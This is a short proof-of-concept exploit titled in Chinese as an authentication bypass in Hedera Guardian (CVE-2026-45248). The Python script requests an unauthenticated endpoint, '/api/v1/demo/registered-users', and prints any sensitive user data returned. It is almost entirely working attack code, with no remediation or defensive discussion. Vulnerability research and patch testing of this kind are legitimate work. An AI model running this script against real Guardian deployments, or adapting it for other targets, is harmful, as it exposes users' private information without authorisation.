CVE-2026-45248 Hedera Guardian认证绕过漏洞

import requests def exploit(target_url): """ PoC for CVE-2026-45248 Attempts to retrieve sensitive user info from the unauthenticated endpoint. """ endpoint = "/api/v1/demo/registered-users" full_url = f"{target_url}{endpoint}" try: # Send request without authentication headers response = requests.get(full_url, timeout=10) if response.status_code == 200: print("[+] Vulnerability confirmed! Sensitive data retrieved:") print(response.text) else: print(f"[-] Target returned status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target URL target = "http://localhost:8080" exploit(target)